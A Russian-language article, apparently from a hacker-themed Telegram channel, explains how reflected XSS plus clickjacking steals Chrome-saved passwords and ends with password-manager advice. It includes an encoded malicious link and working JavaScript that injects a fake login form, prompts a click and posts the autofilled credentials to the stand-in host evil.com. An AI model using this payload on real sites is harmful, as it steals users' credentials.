Как украсть сохраненный в Chrome пароль с помощью XSS

В этой статье я расскажу о том, как с помощью XSS-атаки в сочетании с ClickJacking’ом хакеры могут похитить сохраненные в браузере пароли.

Всем салют, дорогие друзья!

В этой статье я расскажу о том, как с помощью XSS-атаки в сочетании с ClickJacking’ом хакеры могут похитить сохраненные в браузере пароли.

К слову, XSS ― это одна из самых популярных веб-уязвимостей. Строго говоря, это атака, а не уязвимость, но условимся, что иногда под XSS мы будем подразумевать уязвимость, которая позволяет проводить XSS-атаку.

Согласно википедии, XSS (англ. Cross-Site Scripting) ― это «тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействия этого кода с веб-сервером злоумышленника».

---

Суть атаки​

Чтобы атаковать пользователя сайта, его нужно вынудить перейти по специально сформированной ссылке (о методах социальной инженерии я уже писал на канале, скоро будут новые посты на эту тему). Атака, для которой нужна спец ссылка, называется ReflectedXSS. Есть ещё StoredXSS, в случае которой вредоносный код сохраняется на странице, поэтому жертву даже не надо вынуждать перейти по ссылке, а нужно просто дождаться пока кто-нибудь откроет зараженную страницу.

• Допустим, в результате социальной инженерии пользователь перешел по такой ссылке:

https://www.reg.ru/vulnerable_page?vulnerable_param=%22%3e%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%61%2e%6a%73%3e

На первый взгляд она не вызывает особых подозрений: длинновата, но домен-то правильный и открывается оригинальный сайт, из-за чего может показаться, что бояться нечего (спойлер: тем, кто не хранит пароли в браузере, атака действительно не страшна). Но при переходе по ссылке срабатывает вредоносный код, который закодирован в URL. Скрипт крадет сохраненную в браузере связку логин/пароль от личного кабинета REG.RU жертвы.

• Вот как это выглядит глазами пользователя, который перешел по ссылке — на странице появляется уведомление об ошибке (специально показываем какое-нибудь стандартное сообщение, чтобы не вызвать подозрений):

При клике по кнопке OK откроется главная страница сайта. В общем-то и всё. Странно, но не подозрительно. Понять, что в это время хакер уже получил сохраненный в браузере пароль, практически невозможно.

А теперь разберемся, как эта атака вообще работает...

---

Технические подробности​

• Давайте посмотрим, что спрятано в ссылке. Для этого декодируем ее:

• При переходе по ссылке загружается и выполняется JavaScript:

var p = document.createElement("input");
    p.setAttribute("type", "password");
    p.setAttribute("name", "password");var l = document.createElement("input");
    l.setAttribute("type", "text");
    l.setAttribute("name", "login");var f = document.createElement("form");
    f.setAttribute("method", "post");
    f.setAttribute("action", "https://evil.com/");
    f.appendChild(l);
    f.appendChild(p);document.body.appendChild(f)function clck() {setTimeout(()=>{f.submit()}, 1000)}document.body.setAttribute('onclick', 'clck()');setTimeout(()=>{alert('Ошибка отправки CSRF-токена')},2000)

Этот код создает на странице форму и поля с названиями, совпадающими с формой авторизации, чтобы браузер знал, куда подставить сохраненный пароль. Форма добавляется в са-а-амом низу:

Чтобы браузер (в эксперименте использовался Chrome) подставил пароль, нужно взаимодействие пользователя со страницей. Сымитировать нажатие с помощью JS не получится, нужен настоящий клик. Для этого провоцируем жертву на инстинктивное нажатие на кнопку OK в сообщении об ошибке. В том, чтобы вынудить пользователя кликнуть в определенное место и есть суть атаки под названием ClickJacking. Чтобы все успело прогрузиться и отработать, указываем необходимые таймауты. Вешаем обработчик onclick на body.

После первого клика пароль отправляется на сайт хакера, где остается только его записать, а клиенту вернуть редирект на главную страницу.

• Так как же обычному пользователю защититься от конкретно этой атаки?

• Ответ прост: не нужно хранить пароли в браузере. Своим коллегам я рекомендую использовать менеджеры паролей, например KeePass или KeePassXC.

---

Выводы​

Данная атака наглядно демонстрирует, как могут быть опасны XSS-атаки в сочетании с социальной инженерией. Варианты использования подобных уязвимостей ограничиваются только возможностями javascript и фантазией хакера.

✅ Расширение KeePassXC снижает вероятность успешности атаки, но полностью не исключает. В любом случае, это значительно безопаснее, чем хранить пароли в браузере.

Hacker Place в Telegram